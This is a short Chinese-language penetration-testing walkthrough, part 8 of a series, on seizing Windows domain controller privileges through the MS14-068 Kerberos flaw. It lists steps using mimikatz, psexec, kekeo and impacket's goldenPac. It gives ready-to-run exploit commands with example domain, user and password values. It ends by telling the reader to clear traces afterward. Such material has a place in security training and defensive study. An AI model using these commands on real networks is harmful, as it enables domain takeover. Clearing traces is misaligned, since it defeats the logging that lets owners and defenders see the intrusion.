渗透贯穿始终中篇(8)

使用mimikatz将ccache文件导入，提升为域控权限

成功dir域控服务器C盘

使用psexec.exe获取一个交互式shell

获取域控的ip地址

（https://github.com/gentilkiwi/kekeo/releases）
通过kekeo.exe获取域控权限，此工具并非每次都能成功利用。【注入内存中】
kekeo.exe “exploit::ms14068 /domain:test.com /user:administrator /password:root@123456 /ptt” “exit”

（https://github.com/maaaaz/impacket-examples-windows）
此工具是impacket工具包里的，它是MS14-068+psexec的组合;
goldenPac.exe test.com/administrator:root@123456@DC.test.com

之后进行痕迹清理